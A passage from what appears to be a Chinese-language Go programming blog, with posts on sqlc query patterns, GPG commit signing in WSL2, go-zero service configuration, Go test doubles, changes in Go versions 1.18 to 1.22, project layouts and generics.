	Err(w, errcode.UsernameOccupy)
	return
}

提交

最后，通过调用 Commit 完成提交：

err = transaction.Commit(ctx)
if err != nil {
	Err(w, errcode.Database)
	return
}

sqlc 检查行是否存在

Sat, 18 May 2024 06:36:00 GMT

在使用 sqlc 时，有时候需要检查行是否存在。

这时可以使用 SQL 的 SELECT EXISTS 语法来实现，例如：

-- name: CheckUserByID :one
SELECT EXISTS (SELECT 1 FROM app_user WHERE id = $1);

生成的代码如下：

func (q *Queries) CheckUserByID(ctx context.Context, id int32) (bool, error)

返回的 bool 为 true 时，表示行存在；为 false 时，表示行不存在。

sqlc 使用切片作为查询条件

Sat, 18 May 2024 05:23:57 GMT

使用 sqlc 时，有时候需要使用切片作为查询条件。

这里有两种方法：

方法 1

在 = 号后面，使用 ANY($1::int[])。例如：

-- name: ListUserRoleByUserIDList :many
SELECT *
FROM user_role
WHERE user_id = ANY($1::int[]);

其中 int 表示 $1 字段的类型，[] 表示切片。

生成的代码如下：

func (q *Queries) ListUserRoleByUserIDList(ctx context.Context, dollar_1 []int32) ([]UserRole, error)

这样就可以传入切片作为查询条件了。

方法 2

sqlc 更新后，可以使用 sqlc.slice 来表示切片。例如：

-- name: Foo :many
SELECT * FROM foo WHERE hash IN (sqlc.slice(hashes)) LIMIT 50;

生成的代码如下：

func (q *Queries) Foo(ctx context.Context, hashes []string) ([]string, error)

参考链接

Support dynamic sized IN clauses #167

sqlc 动态查询方法

Sat, 18 May 2024 05:09:07 GMT

在使用 sqlc 时，有时候需要对字段进行动态查询，即字段不为空时，才使用该条件。

这时可以使用 SQL 的 OR 语法来实现，例如：

-- name: ListUser :many
SELECT *
FROM app_user
WHERE ($1::VARCHAR = '' OR $1::VARCHAR ILIKE '%' || $1 || '%')
AND ($2::VARCHAR = '' OR $2::VARCHAR ILIKE '%' || $2 || '%')
AND ($3::VARCHAR = '' OR $3::VARCHAR = $3)
AND id > $4;

当 $1、$2、$3 参数为空时，对应的条件子句对结果没影响；
当 $1、$2、$3 参数不为空时，对应的条件子句才会使用 OR 后面的条件。

如何在 git 提交签名 commit 时不用输入密码

Tue, 26 Mar 2024 06:22:07 GMT

描述

在使用 git 提交经过 GPG 签名的 commit 时，总是需要输入密码。

通过以下步骤可以把密码缓存到内存中。

步骤

启用缓存：

echo -e '\nallow-preset-passphrase' >> ~/.gnupg/gpg-agent.conf

重启 gpg-agent：

gpg-connect-agent reloadagent /bye

列出自己的钥匙柄（Keygrip）：

gpg --list-secret-keys --with-keygrip

输出如下：

sec   rsa3072 2024-03-26 [SC]
      0E74F8A5B4DEC1A2438BBA99B9FFC9D459B25AAB
      Keygrip = 581BCFFCADF4B32D352CBA8364D5B32102348BAB
uid           [ultimate] example <example@gmail.com>
ssb   rsa3072 2024-03-26 [E]
      Keygrip = 32883E610AEF2CDC1D27F94B2B893D5E18E33052

通过 gpg-preset-passphrase 把密码缓存到内存中：

/usr/lib/gnupg/gpg-preset-passphrase --preset 581BCFFCADF4B32D352CBA8364D5B32102348BAB

--preset 的参数是上一步输出中，sec 里面的 Keygrip。

参考链接

Using 1password, GPG and git for seamless commits signing

修复 WSL2 中 git commit 报错的问题

Tue, 26 Mar 2024 04:21:25 GMT

描述

在 WSL2 中，使用 git 提交经过 GPG 签名的 commit 时，会出现以下错误：

error: gpg failed to sign the data
fatal: failed to write commit object

原因

这是因为 WSL2 的网络模式会造成回环（loopback），使得用于读取密码的工具 pinentry 出错，进而导致 GPG 无法对 commit 进行签名。

解决方法

通过以下命令配置 pinentry 允许回环来修复：

echo -e '\nuse-agent\npinentry-mode loopback' >> ~/.gnupg/gpg.conf
echo -e '\nallow-loopback-pinentry' >> ~/.gnupg/gpg-agent.conf

参考链接

How to understand the gpg failed to sign the data problem in git

在 go-zero 中通过 etcd 调用其他服务

Fri, 22 Mar 2024 04:11:00 GMT

在 go-zero 中通过 etcd 调用其他服务时，需要遵循以下步骤。

假设调用方为 user 服务，被调用方为 blog 服务。

1. 在配置文件中添加字段

路径为：service/user/rpc/etc/user.yaml

新增的字段为 BlogConf：

Name: user.rpc
ListenOn: 0.0.0.0:10000
Etcd:
  Hosts:
  - etcd-single:2379
  Key: user.rpc
DB:
  DataSource: postgresql://dev:dev@postgresql:5432/go_blogger?sslmode=disable
Cache:
  - Host: redis:6379
BlogConf:
  Endpoints:
    - etcd-single:10001
  NonBlock: true

其中 etcd-single 表示 etcd 的地址，10001 为 blog 服务的端口号。

2. 在配置结构体中添加字段

路径为：service/user/rpc/internal/config/config.go

新增的字段为 BlogConf：

type Config struct {
	zrpc.RpcServerConf
	DB struct {
		DataSource string
	}
	Cache    cache.CacheConf
	BlogConf zrpc.RpcClientConf
}

3. 在服务注册时添加字段

路径为：service/user/rpc/internal/svc/service_context.go

分别在 ServiceContext 结构体和 NewServiceContext 函数中新增字段 BlogService：

package svc

import (
	"github.com/linehk/go-microservices-blogger/service/blog/rpc/blogservice"
	"github.com/linehk/go-microservices-blogger/service/user/rpc/internal/config"
	"github.com/linehk/go-microservices-blogger/service/user/rpc/model"
	"github.com/zeromicro/go-zero/core/stores/postgres"
	"github.com/zeromicro/go-zero/core/stores/redis"
	"github.com/zeromicro/go-zero/zrpc"
)

type ServiceContext struct {
	Config       config.Config
	RedisClient  *redis.Redis
	AppUserModel model.AppUserModel
	LocaleModel  model.LocaleModel
	BlogService  blogservice.BlogService
}

func NewServiceContext(c config.Config) *ServiceContext {
	conn := postgres.New(c.DB.DataSource)
	redisConf := redis.RedisConf{
		Host: c.Cache[0].Host,
		Type: redis.NodeType,
	}
	
	return &ServiceContext{
		Config:       c,
		RedisClient:  redis.MustNewRedis(redisConf),
		AppUserModel: model.NewAppUserModel(conn, c.Cache),
		LocaleModel:  model.NewLocaleModel(conn, c.Cache),
		BlogService:  blogservice.NewBlogService(zrpc.MustNewClient(c.BlogConf)),
	}
}

全部代码可以查看 go-microservices-blogger。

Golang 测试替代

Tue, 12 Mar 2024 08:01:33 GMT

什么是测试替代

测试替代（Test Doubles）一种用于在测试中替代真实实现的技术。

简单的实现

假设我们需要实现一个电话簿功能，可以通过姓名来查找号码。

一个简单的实现可能像这样：

type Person struct {
	FirstName string
	LastName  string
	Phone     string
}

type Phonebook struct {
	People []*Person
}

var (
	ArgumentWrong  = errors.New("argument error")
	PersonNotExist = errors.New("person not exist")
)

func FindPhone(people *Phonebook, firstName, lastName string) (string, error) {
	if firstName == "" || lastName == "" {
		return "", ArgumentWrong
	}
	for _, p := range people.People {
		if p.FirstName == firstName && p.LastName == lastName {
			return p.Phone, nil
		}
	}
	return "", PersonNotExist
}

对应的测试函数为：

var phonebook = &Phonebook{People: []*Person{
	{
		FirstName: "FirstName1",
		LastName:  "LastName1",
		Phone:     "Phone1",
	},
	{
		FirstName: "FirstName2",
		LastName:  "LastName2",
		Phone:     "Phone2",
	},
}}

func TestFindPhone(t *testing.T) {
	tests := []struct {
		inputFirstName string
		inputLastName  string
		wantPhone      string
		wantErr        error
	}{
		{"FirstName1", "LastName1", "Phone1", nil},
		{"", "", "", ArgumentWrong},
		{"FirstName3", "LastName3", "", PersonNotExist},
	}

	for _, tt := range tests {
		gotPhone, gotErr := FindPhone(phonebook, tt.inputFirstName, tt.inputLastName)
		if gotPhone != tt.wantPhone {
			t.Errorf("got %v, want %v", gotPhone, tt.wantPhone)
		}
		if !errors.Is(gotErr, tt.wantErr) {
			t.Errorf("gotErr %v, wantErr %v", gotErr, tt.wantErr)
		}
	}
}

但是，这样的实现不利于解耦，如果我们希望换一种搜索方式，就需要重新实现函数。

基于接口的实现

通过接口来实现，就能轻松的实现解耦。例如：

type Searcher interface {
	Search(people []*Person, firstName string, lastName string) *Person
}

func (p *Phonebook) FindPhone(searcher Searcher, firstName, lastName string) (string, error) {
	if firstName == "" || lastName == "" {
		return "", ArgumentWrong
	}
	person := searcher.Search(p.People, firstName, lastName)
	if person == nil {
		return "", PersonNotExist
	}
	return person.Phone, nil
}

type NormalImpl struct{}

func (n NormalImpl) Search(people []*Person, firstName string, lastName string) *Person {
	for _, p := range people {
		if p.FirstName == firstName && p.LastName == lastName {
			return p
		}
	}
	return nil
}

对应的测试函数为：

func TestNormal(t *testing.T) {
	tests := []struct {
		inputFirstName string
		inputLastName  string
		wantPhone      string
		wantErr        error
	}{
		{"FirstName1", "LastName1", "Phone1", nil},
		{"", "", "", ArgumentWrong},
		{"FirstName3", "LastName3", "", PersonNotExist},
	}

	for _, tt := range tests {
		gotPhone, gotErr := phonebook.FindPhone(&NormalImpl{}, tt.inputFirstName, tt.inputLastName)
		if gotPhone != tt.wantPhone {
			t.Errorf("got %v, want %v", gotPhone, tt.wantPhone)
		}
		if !errors.Is(gotErr, tt.wantErr) {
			t.Errorf("gotErr %v, wantErr %v", gotErr, tt.wantErr)
		}
	}
}

Dummy

Dummy 是一个空的实例，不实现任何功能，只是用于防止编译器报错。例如：

type DummyImpl struct{}

func (d DummyImpl) Search(people []*Person, firstName string, lastName string) *Person {
	return nil
}

在实践中最好不要通过 Dummy 来测试。

Stub

Stub 直接在调用时提供结果值。例如：

type StubImpl struct {
	phone string
}

func (s StubImpl) Search(people []*Person, firstName string, lastName string) *Person {
	return &Person{
		FirstName: firstName,
		LastName:  lastName,
		Phone:     s.phone,
	}
}

对应的测试函数为：

func TestStub(t *testing.T) {
	tests := []struct {
		inputFirstName string
		inputLastName  string
		stubPhone      string
		wantErr        error
	}{
		{"FirstName1", "LastName1", "Phone1", nil},
		{"", "", "", ArgumentWrong},
	}

	for _, tt := range tests {
		gotPhone, gotErr := phonebook.FindPhone(&StubImpl{tt.stubPhone}, tt.inputFirstName, tt.inputLastName)
		if gotPhone != tt.stubPhone {
			t.Errorf("got %v, want %v", gotPhone, tt.stubPhone)
		}
		if !errors.Is(gotErr, tt.wantErr) {
			t.Errorf("gotErr %v, wantErr %v", gotErr, tt.wantErr)
		}
	}
}

这时可以通过 Stub 的值来测试代码的某些路径，如：返回 ArgumentWrong 错误的路径。

Spy

Spy 在 Stub 的基础上，还可以记住是否进行了调用。例如：

type SpyImpl struct {
	phone  string
	called bool
}

func (s *SpyImpl) Search(people []*Person, firstName string, lastName string) *Person {
	s.called = true
	return &Person{
		FirstName: firstName,
		LastName:  lastName,
		Phone:     s.phone,
	}
}

对应的测试函数为：

func TestSpy(t *testing.T) {
	tests := []struct {
		inputFirstName string
		inputLastName  string
		spyPhone       string
		called         bool
	}{
		{"FirstName1", "LastName1", "Phone1", true},
	}

	for _, tt := range tests {
		spyImpl := &SpyImpl{tt.spyPhone, tt.called}
		gotPhone, _ := phonebook.FindPhone(spyImpl, tt.inputFirstName, tt.inputLastName)
		if gotPhone != tt.spyPhone {
			t.Errorf("got %v, want %v", gotPhone, tt.spyPhone)
		}
		if spyImpl.called != tt.called {
			t.Errorf("got call %v, want call %v", spyImpl.called, tt.called)
		}
	}
}

Mock

Mock 在 Stub 和 Spy 的基础上，还提供了验证是否调用了某个函数的功能。例如：

type MockImpl struct {
	phone         string
	methodsToCall map[string]bool
}

func (m *MockImpl) Search(people []*Person, firstName string, lastName string) *Person {
	m.methodsToCall["Search"] = true
	return &Person{
		FirstName: firstName,
		LastName:  lastName,
		Phone:     m.phone,
	}
}

func (m *MockImpl) ExpectToCall(methodName string) {
	if m.methodsToCall == nil {
		m.methodsToCall = make(map[string]bool)
	}
	m.methodsToCall[methodName] = false
}

func (m *MockImpl) Verify() bool {
	for _, called := range m.methodsToCall {
		if !called {
			return false
		}
	}
	return true
}

对应的测试函数为：

func TestMock(t *testing.T) {
	tests := []struct {
		inputFirstName   string
		inputLastName    string
		mockPhone        string
		expectToCall     string
		wantVerifyResult bool
	}{
		{"FirstName1", "LastName1", "Phone1", "Search", true},
		{"FirstName1", "LastName1", "Phone1", "UnCalled", false},
	}

	for _, tt := range tests {
		mock := &MockImpl{phone: tt.mockPhone}
		mock.ExpectToCall(tt.expectToCall)
		gotPhone, _ := phonebook.FindPhone(mock, tt.inputFirstName, tt.inputLastName)
		if gotPhone != tt.mockPhone {
			t.Errorf("got %v, want %v", gotPhone, tt.mockPhone)
		}
		gotVerifyResult := mock.Verify()
		if gotVerifyResult != tt.wantVerifyResult {
			t.Errorf("got %v, want %v", gotVerifyResult, tt.wantVerifyResult)
		}
	}
}

Fake

Fake 的仿真度更接近于真实实现，只不过是通过一种简单的方式来实现。例如：

type FakeImpl struct {
	people []*Person
}

func (f *FakeImpl) Search(people []*Person, firstName string, lastName string) *Person {
	if len(f.people) == 0 {
		return nil
	}
	return f.people[0]
}

对应的测试函数为：

func TestFake(t *testing.T) {
	tests := []struct {
		inputFirstName string
		inputLastName  string
		fakePhone      string
		inputPeople    []*Person
	}{
		{"FirstName1", "LastName1", "Phone1", []*Person{{
			FirstName: "",
			LastName:  "",
			Phone:     "Phone1",
		}}},
		{"FirstName1", "LastName1", "", nil},
	}

	for _, tt := range tests {
		gotPhone, _ := phonebook.FindPhone(&FakeImpl{tt.inputPeople}, tt.inputFirstName, tt.inputLastName)
		if gotPhone != tt.fakePhone {
			t.Errorf("got %v, want %v", gotPhone, tt.fakePhone)
		}
	}
}

参考链接

Software Engineering at Google 第十三章测试替代

Testing in Go: Test Doubles by Example

Golang 1.22 语言规范改动

Tue, 12 Mar 2024 03:37:46 GMT

默认修复循环变量意外共享问题

在 Go 1.21 需要手动通过 GOEXPERIMENT=loopvar 启用的功能，修复循环变量意外共享，现在是默认的。

例如：

func TestLoopVar(t *testing.T) {
	var funcSlice []func()
	for i := 0; i < 3; i++ {
		funcSlice = append(funcSlice, func() {
			print(i)
			print(" ")
		})
	}
	for j := 0; j < 3; j++ {
		funcSlice[j]()
	}
}

在 Go 1.22 之前，以上代码打印的值为 3 3 3 ，现在是 0 1 2 。这是因为 i 只会创建一次，然后在每次迭代中不断赋予新值。

现在每次迭代都会创建一个新的 i，每个 i 的地址都不一样，所以不会意外共享。详见：Go 语言闭包详解 - 第三个例子。

range 支持整数

现在可以在 range 后面写一个整数，然后 for 会循环对应的次数，i 从 0 开始递增。例如：

func TestRangeNumber(t *testing.T) {
	for i := range 5 {
		print(i)
		print(" ")
	}
}

以上代码打印的值为 0 1 2 3 4 。

可以起到简化以下代码的作用：

	for i := 0; i < 5; i++ {
		print(i)
		print(" ")
	}

range 支持函数迭代器

假设我们要实现反向打印切片值的功能，一个简单的实现可能是这样的：

func TestBackward(t *testing.T) {
	s := []string{"hello", "world"}
	for i := len(s) - 1; i >= 0; i-- {
		print(i, s[i])
		print(" ")
	}
}

以上代码会打印1world 0hello 。

在 Go 1.22，可以通过 GOEXPERIMENT=rangefunc 启用 range 支持函数迭代器。

这样就可以用以下代码实现相同功能：

func Backward[E any](s []E) func(func(int, E) bool) {
	return func(yield func(int, E) bool) {
		for i := len(s) - 1; i >= 0; i-- {
			if !yield(i, s[i]) {
				return
			}
		}
	}
}

func TestLoopFunc(t *testing.T) {
	s := []string{"hello", "world"}
	for i, x := range Backward(s) {
		print(i, x)
		print(" ")
	}
}

可以起到简化以下代码的作用：

	s := []string{"hello", "world"}
	Backward(s)(func(i int, x string) bool {
		print(i, x)
		print(" ")
		return true
	})

参考链接

Go 1.22 Release Notes

Go Wiki: Rangefunc Experiment

Golang Web 项目常见布局

Wed, 31 Jan 2024 12:46:17 GMT

官方布局

来源：Golang 官方文档

project-root-directory/
  go.mod
  internal/
    auth/
      ...
    metrics/
      ...
    model/
      ...
  cmd/
    api-server/
      main.go
    metrics-analyzer/
      main.go
    ...
  ... the project's other directories with non-Go code

总结：只是一个简单的布局，cmd/ 作为入口，不同的应用使用不同的目录；internal/ 作为放置实际代码的地方，按功能模块来分隔。

golang-standards/project-layout

来源：golang-standards/project-layout

/cmd：主应用，如：cmd/api-server/main.go，只调用 internal 和 pkg 中的代码。
/internal：私有代码。
/pkg：外部应用程序可以使用的库代码。
/api：API 协议文件，如：OpenAPI、protocol 协议。
/web：前端。
/configs：配置文件。
/init：系统管理工具配置，如：systemd。
/scripts：各种脚本，主要作用是使得 Makefile 简短。
/build：打包和持续集成。其中 /build/package 放置 Docker、deb 等配置和脚本；/build/ci 放置 CI 配置和脚本。但是 GitHub Actions 无法自定义路径，只能使用 .github/workflows/build.yml。
/deployments：IaaS、PaaS、系统和容器编排部署配置和模板（docker-compose、kubernetes/helm、terraform）。使用 k8s 部署的应用程序中，此目录称为 /deploy。
/test：其他外部测试应用程序和测试数据。如：/test/data。
/docs：设计和用户文档，不包括 godoc。
/tools：该项目的支持工具。这些工具可以从 /internal 和 /pkg 导入代码。
/examples：代码示例。
/third_party：外部帮助工具、fork 的代码和其他第 3 方实用程序，如：Swagger UI。
/githooks：Git 钩子。
/assets：与您的存储库一起使用的资产，如：图像、徽标等。
/website：项目的网站数据，如：GitHub 页面。

总结：只说明了各个目录隐含的意思。

go-zero 框架

来源：go-zero 框架布局

example
├── etc
│   └── example.yaml
├── main.go
└── internal
    ├── config
    │   └── config.go
    ├── handler
    │   ├── xxxhandler.go
    │   └── xxxhandler.go
    ├── logic
    │   └── xxxlogic.go
    ├── svc
    │   └── servicecontext.go
    └── types
        └── types.go

总结：请求从 logic/xxxlogic.go 开始，途经 handler，可以自定义模板来实现 DDD 架构。

wild-workouts-go-ddd-example

来源：wild-workouts-go-ddd-example

internel/ 目录：

.
├── common
│   ├── auth
│   │   ├── http.go
│   │   └── http_mock.go
│   ├── client
│   │   ├── auth.go
│   │   ├── grpc.go
│   │   ├── net.go
│   │   ├── trainer
│   │   │   ├── openapi_client_gen.go
│   │   │   └── openapi_types.gen.go
│   │   ├── trainings
│   │   │   ├── openapi_client_gen.go
│   │   │   └── openapi_types.gen.go
│   │   └── users
│   │       ├── openapi_client_gen.go
│   │       └── openapi_types.gen.go
│   ├── decorator
│   │   ├── command.go
│   │   ├── logging.go
│   │   ├── metrics.go
│   │   └── query.go
│   ├── errors
│   │   └── errors.go
│   ├── genproto
│   │   ├── trainer
│   │   │   ├── trainer.pb.go
│   │   │   └── trainer_grpc.pb.go
│   │   └── users
│   │       ├── users.pb.go
│   │       └── users_grpc.pb.go
│   ├── go.mod
│   ├── go.sum
│   ├── logs
│   │   ├── cqrs.go
│   │   ├── http.go
│   │   └── logrus.go
│   ├── metrics
│   │   └── dummy.go
│   ├── server
│   │   ├── grpc.go
│   │   ├── http.go
│   │   └── httperr
│   │       └── http_error.go
│   └── tests
│       ├── clients.go
│       ├── e2e_test.go
│       ├── hours.go
│       ├── jwt.go
│       └── wait.go
├── trainer
│   ├── adapters
│   │   ├── dates_firestore_repository.go
│   │   ├── hour_firestore_repository.go
│   │   ├── hour_memory_repository.go
│   │   ├── hour_mysql_repository.go
│   │   └── hour_repository_test.go
│   ├── app
│   │   ├── app.go
│   │   ├── command
│   │   │   ├── cancel_training.go
│   │   │   ├── make_hours_available.go
│   │   │   ├── make_hours_unavailable.go
│   │   │   └── schedule_training.go
│   │   └── query
│   │       ├── available_hours.go
│   │       ├── hour_availability.go
│   │       └── types.go
│   ├── domain
│   │   └── hour
│   │       ├── availability.go
│   │       ├── availability_test.go
│   │       ├── hour.go
│   │       ├── hour_test.go
│   │       └── repository.go
│   ├── fixtures.go
│   ├── go.mod
│   ├── go.sum
│   ├── main.go
│   ├── ports
│   │   ├── grpc.go
│   │   ├── http.go
│   │   ├── openapi_api.gen.go
│   │   └── openapi_types.gen.go
│   └── service
│       ├── application.go
│       └── component_test.go
├── trainings
│   ├── adapters
│   │   ├── trainer_grpc.go
│   │   ├── trainings_firestore_repository.go
│   │   ├── trainings_firestore_repository_test.go
│   │   └── users_grpc.go
│   ├── app
│   │   ├── app.go
│   │   ├── command
│   │   │   ├── approve_training_reschedule.go
│   │   │   ├── cancel_training.go
│   │   │   ├── cancel_training_test.go
│   │   │   ├── reject_training_reschedule.go
│   │   │   ├── request_training_reschedule.go
│   │   │   ├── reschedule_training.go
│   │   │   ├── schedule_training.go
│   │   │   └── services.go
│   │   └── query
│   │       ├── all_trainings.go
│   │       ├── trainings_for_user.go
│   │       └── types.go
│   ├── domain
│   │   └── training
│   │       ├── cancel.go
│   │       ├── cancel_balance.go
│   │       ├── cancel_test.go
│   │       ├── repository.go
│   │       ├── reschedule.go
│   │       ├── reschedule_test.go
│   │       ├── training.go
│   │       ├── training_test.go
│   │       ├── user.go
│   │       └── user_test.go
│   ├── go.mod
│   ├── go.sum
│   ├── main.go
│   ├── ports
│   │   ├── http.go
│   │   ├── openapi_api.gen.go
│   │   └── openapi_types.gen.go
│   └── service
│       ├── component_test.go
│       ├── mocks.go
│       └── service.go
└── users
    ├── firestore.go
    ├── fixtures.go
    ├── go.mod
    ├── go.sum
    ├── grpc.go
    ├── http.go
    ├── main.go
    ├── openapi_api.gen.go
    └── openapi_types.gen.go

总结：

internal/ 目录下分成不同的微服务，common/ 目录放置共用的代码。

每个微服务按 DDD 的原则划分。

每个请求一般从 ports\http.go 开始，途经 app 层、domain 层、repository 层（adapters 目录）。

go-backend-clean-architecture

来源：go-backend-clean-architecture

.
├── Dockerfile
├── LICENSE
├── README.md
├── api
│   ├── controller
│   │   ├── login_controller.go
│   │   ├── profile_controller.go
│   │   ├── profile_controller_test.go
│   │   ├── refresh_token_controller.go
│   │   ├── signup_controller.go
│   │   └── task_controller.go
│   ├── middleware
│   │   └── jwt_auth_middleware.go
│   └── route
│       ├── login_route.go
│       ├── profile_route.go
│       ├── refresh_token_route.go
│       ├── route.go
│       ├── signup_route.go
│       └── task_route.go
├── assets
│   ├── button-view-api-docs.png
│   ├── go-arch-private-api-request-flow.png
│   ├── go-arch-public-api-request-flow.png
│   ├── go-backend-arch-diagram.png
│   └── go-backend-clean-architecture.png
├── bootstrap
│   ├── app.go
│   ├── database.go
│   └── env.go
├── cmd
│   └── main.go
├── docker-compose.yaml
├── domain
│   ├── error_response.go
│   ├── jwt_custom.go
│   ├── login.go
│   ├── mocks
│   │   ├── LoginUsecase.go
│   │   ├── ProfileUsecase.go
│   │   ├── RefreshTokenUsecase.go
│   │   ├── SignupUsecase.go
│   │   ├── TaskRepository.go
│   │   ├── TaskUsecase.go
│   │   └── UserRepository.go
│   ├── profile.go
│   ├── refresh_token.go
│   ├── signup.go
│   ├── success_response.go
│   ├── task.go
│   └── user.go
├── go.mod
├── go.sum
├── internal
│   ├── fakeutil
│   │   └── fakeutil.go
│   └── tokenutil
│       └── tokenutil.go
├── mongo
│   ├── mocks
│   │   ├── Client.go
│   │   ├── Collection.go
│   │   ├── Cursor.go
│   │   ├── Database.go
│   │   └── SingleResult.go
│   └── mongo.go
├── repository
│   ├── task_repository.go
│   ├── user_repository.go
│   └── user_repository_test.go
└── usecase
    ├── login_usecase.go
    ├── profile_usecase.go
    ├── refresh_token_usecase.go
    ├── signup_usecase.go
    ├── task_usecase.go
    └── task_usecase_test.go

总结：另一种 DDD 布局，请求从 api/controller/login_controller.go 开始，途经 app 层（usecase 目录）、domain 层、repository 层。

create-go-app/cli

来源：create-go-app/cli

.
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── app
│   ├── BUSINESS_LOGIC.md
│   ├── controllers
│   │   └── user_controller.go
│   ├── models
│   │   └── user_model.go
│   ├── queries
│   │   └── user_query.go
│   └── validators
│       └── user_validator.go
├── docs
│   ├── docs.go
│   ├── swagger.json
│   └── swagger.yaml
├── go.mod
├── go.sum
├── main.go
├── pkg
│   ├── PROJECT_SPECIFIC.md
│   ├── configs
│   │   ├── jwt_config.go
│   │   └── server_config.go
│   ├── routes
│   │   ├── private_routes.go
│   │   ├── public_routes.go
│   │   └── swagger_routes.go
│   └── utils
│       ├── connection_url_builder.go
│       ├── jwt_generator.go
│       ├── start_server.go
│       └── validator_errors.go
└── platform
    ├── PLATFORM_LEVEL.md
    ├── database
    │   ├── open_db_connection.go
    │   └── postgres.go
    └── migrations
        ├── 000001_create_init_tables.down.sql
        └── 000001_create_init_tables.up.sql

经典的三层模型，请求从 app/controllers/user_controller.go 开始，途经 queries 目录、models 目录。

修复 GoLand 调试 WSL2 中的项目时卡住的问题

Wed, 31 Jan 2024 08:00:02 GMT

问题

在使用 GoLand 调试 WSL2 中的项目时，调试窗口会卡住，无法 Step Into，并且出现以下信息：

2024-01-29T15:18:59+08:00 warning layer=rpc Listening for remote connections (co
nnections are not authenticated nor encrypted)

方法 1：关闭镜像网络模式

这实际上是 WSL2 的镜像网络模式造成，它无法监听调试工具 delve 使用的 0.0.0.0 地址。

可以在 %UserProfile%/.wslconfig 注释掉 networkingMode=mirrored 来关闭它。

方法 2：修改 delve

在 GitHub 上下载 delve 源码。

然后找到 delve\cmd\dlv\cmds\commands.go 下的 execute 函数，函数签名如下：

func execute(attachPid int, processArgs []string, conf *config.Config, coreFile string, kind debugger.ExecuteKind, dlvArgs []string, buildFlags string) int

在函数开头加上以下语句：

addr = strings.ReplaceAll(addr, "0.0.0.0:", "127.0.0.1:")

作用是替换全局变量 addr 中的 0.0.0.0: 为 127.0.0.1:，使得可以正常监听。

可以通过命令 go test -v ./cmd/dlv/ 来运行测试。

然后编译成可执行文件：

CGO_ENABLED=0 GOOS=linux go build -o dlv cmd/dlv/main.go

最后用自己编译的可执行文件，替换掉 GoLand 的同名文件，文件路径在我的环境上如下：

C:\Program Files\JetBrains\GoLand 2023.3.2\plugins\go-plugin\lib\dlv\linux\dlv

最后测试发现可以正常调试。

参考链接

Debugger fails to connect when running with WSL 2

Golang 1.21 语言规范改动

Tue, 23 Jan 2024 05:50:00 GMT

内置函数

新增内置函数 min、max 来返回参数中的最小值、最大值。

新增内置函数 clear 把切片中的所有元素都设置为零值，或把 map 中的所有元素都删除。

包初始化顺序

新的语言规范对包初始化顺序给出了明确的定义。实际上就是按照深度优先搜索的顺序来初始化。

类型推断

优化了泛型函数的类型推断，并在规范中做出了明确的定义。

循环变量意外共享

为了修复一直以来的循环变量意外共享问题，可以先通过以下命令来找出受影响的代码：

go build -gcflags=all=-d=loopvar=2 .

all= 表示包括依赖包。

然后通过以下命令来启用：

GOEXPERIMENT=loopvar go build main.go

nil panic

在 Go 1.21 之前的版本，如果传入 panic 函数的参数是 nil，不会返回错误。

现在会发生错误：panicked: panic called with nil argument。

参考链接

Go 1.21 Release Notes

Go Wiki: LoopvarExperiment

Golang 1.20 语言规范改动

Mon, 15 Jan 2024 14:58:33 GMT

切片转换为数组

以下代码预期把切片转换为数组：

package main

import (
	"fmt"
	"reflect"
)

func main() {
	slice := []int{1, 2, 3, 4}
	array := [4]int(slice)
	fmt.Println(reflect.TypeOf(slice))
	fmt.Println(reflect.TypeOf(array))
}

在 Go 1.20 之前的版本，会导致以下错误：

# command-line-arguments
./main.go:10:17: cannot convert slice (type []int) to type [4]int

在升级到 Go 1.20 后，可以正常运行。

新增 unsafe 包函数

分别是：SliceData、String 和 StringData。

改进结构体和数组是否相等的规范

现在按照结构体字段声明的顺序依次比较，并在第一个不相等字段处停止，并报告整个结构体都不相等。

数组类似，从第一个元素开始依次比较。

comparable 优化

以下代码使用空 interface 作为类型参数传入：

package main

func main() {
	InterfaceComparable[interface{}]()
}

func InterfaceComparable[T comparable]() {
}

在 Go 1.20 之前的版本，会导致以下错误：

# command-line-arguments
./main.go:4:22: interface{} does not implement comparable

在升级到 Go 1.20 后，可以正常运行。

这是因为可比较类型，如：interface，现在都符合 comparable 约束。

参考链接

Go 1.20 Release Notes

All your comparable types

Golang 1.18 语言规范改动

Mon, 15 Jan 2024 13:44:27 GMT

泛型

详见：Golang 泛型初级教程和 Golang 泛型中级教程。

匿名函数内的未使用变量

在 Go 1.18 之前的版本，以下在匿名函数内的未使用变量 p 不会返回错误：

package main

func main() {
	p := true
	func() {
		p = true
	}()
}

在升级到 Go 1.18 后，会正常返回未使用错误：

# command-line-arguments
./main.go:4:2: p declared and not used

rune 类型的溢出

在 Go 1.18 之前的版本，以下 rune 类型的溢出不会返回错误：

package main

func main() {
	print('1' << 32)
}

在升级到 Go 1.18 后，会正常返回溢出错误：

# command-line-arguments
./main.go:4:8: cannot use '1' << 32 (untyped rune constant 210453397504) as rune value in argument to print (overflows)

参考链接

Go 1.18 Release Notes

cmd/compile: consistently report "declared but not used" errors - needs release notes #49214

Golang 泛型中级教程

Fri, 12 Jan 2024 12:38:33 GMT

使用类型约束

首先，来看一个函数，它的功能是返回两个参数中数值较小的参数：

func Min(x, y int) int {
	if x < y {
		return x
	}
	return y
}

func TestMin(t *testing.T) {
	var inputIntX int = 1
	var inputIntY int = 2
	var wantInt int = 1
	gotInt := Min(inputIntX, inputIntY)
	if gotInt != wantInt {
		t.Errorf("gotInt %v, wantInt %v", gotInt, wantInt)
	}
}

然而，该函数只能传入 int 类型，现在通过泛型来编写更通用的代码：

import (
	"golang.org/x/exp/constraints"
)

func GenericsMin[T constraints.Ordered](x, y T) T {
	if x < y {
		return x
	}
	return y
}

func TestGenericsMin(t *testing.T) {
	var inputIntX int = 1
	var inputIntY int = 2
	var wantInt int = 1
	gotInt := GenericsMin[int](inputIntX, inputIntY)
	if gotInt != wantInt {
		t.Errorf("gotInt %v, wantInt %v", gotInt, wantInt)
	}

	var inputFloatX float64 = 1.1
	var inputFloatY float64 = 2.2
	var wantFloat float64 = 1.1
	gotFloat := GenericsMin[float64](inputFloatX, inputFloatY)
	if gotFloat != wantFloat {
		t.Errorf("gotFloat %v, wantFloat %v", gotFloat, wantFloat)
	}
}

在上面的例子中，可以看到泛型参数 T 的类型约束是 constraints.Ordered。可以通过运行 go get -u golang.org/x/exp/constraints 来导入 constraints 包，它提供了一些常用的类型约束，像 Ordered 就代表了可比较类型。

实例化

调用函数时 GenericsMin[int](inputIntX, inputIntY)，提供类型参数的行为被成为实例化。

实例化的步骤分为：

编译器将用类型参数传参（int）来替换掉所有在泛型函数中出现的类型参数占位符（T）；
编译器将验证类型参数传参（int）是否符合对应的类型约束（constraints.Ordered）的要求。

